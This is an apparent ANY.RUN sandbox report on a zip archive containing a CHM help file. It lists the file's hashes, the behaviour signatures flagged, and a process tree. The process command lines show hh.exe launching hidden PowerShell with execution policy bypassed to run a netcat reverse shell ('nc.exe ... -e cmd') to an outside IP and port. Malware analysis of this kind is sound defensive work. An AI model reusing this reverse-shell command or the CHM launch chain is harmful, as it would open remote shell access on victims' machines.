analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

5456220851306496.zip

Full analysis: https://app.any.run/tasks/5069bb90-6ec7-4315-b7f6-73477f4f43d6
Verdict: Malicious activity
Analysis date: July 13, 2020, 07:10:48
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

6D8D01B7B5D0D507798DB1FA0FDA9292

SHA1:

2604DEBA69AAE8BEDCAE1ABA2BB5DB954EADE6D8

SHA256:

ED2B4525E0BD87F2FB764517B481CA221824DF0C0C73C5126EA87488E413FBE7

SSDEEP:

96:Y2YkOrsckHL3hGgcNDhbSbggiVbmqQr6BvXOkEvAZJm:Y2YhsXx7KRp4/2fyim

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 620)
  • SUSPICIOUS

    • Reads Internet Cache Settings

      • hh.exe (PID: 1516)
    • Starts CMD.EXE for commands execution

      • hh.exe (PID: 1516)
    • Reads internet explorer settings

      • hh.exe (PID: 1516)
    • Creates files in the user directory

      • powershell.exe (PID: 3840)
  • INFO

    • Manual execution by user

      • hh.exe (PID: 1516)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0009
ZipCompression: Deflated
ZipModifyDate: 1980:00:00 00:00:00
ZipCRC: 0xdef67528
ZipCompressedSize: 3956
ZipUncompressedSize: 11930
ZipFileName: 02ae4e8d93ceccc3086e4228abd9a86fe8e3178750565abc818c50e29b3e81d7
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs hh.exe no specs cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1844"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\5456220851306496.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
1516"C:\Windows\hh.exe" C:\Users\admin\Desktop\dd.chmC:\Windows\hh.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® HTML Help Executable
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
620"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile C:\Users\Chris\Documents\nc.exe 10.10.14.217 8888 -e cmdC:\Windows\System32\cmd.exehh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3840C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile C:\Users\Chris\Documents\nc.exe 10.10.14.217 8888 -e cmdC:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
799
Read events
712
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RX5NTIMHEUXS1C5UQ9CU.temp
MD5:
SHA256:
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D7375982BC5CAA193E7D0097FEE9DE22
SHA256:07CD2F1DC0376C91EF989A7617E88688C8E84C1507F28FFB25E02482AE02F18A
3840powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10d3bd.TMPbinary
MD5:D7375982BC5CAA193E7D0097FEE9DE22
SHA256:07CD2F1DC0376C91EF989A7617E88688C8E84C1507F28FFB25E02482AE02F18A
1844WinRAR.exeC:\Users\admin\Desktop\02ae4e8d93ceccc3086e4228abd9a86fe8e3178750565abc818c50e29b3e81d7chm
MD5:21190B3138064A14751FD5E943CF3666
SHA256:02AE4E8D93CECCC3086E4228ABD9A86FE8E3178750565ABC818C50E29B3E81D7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info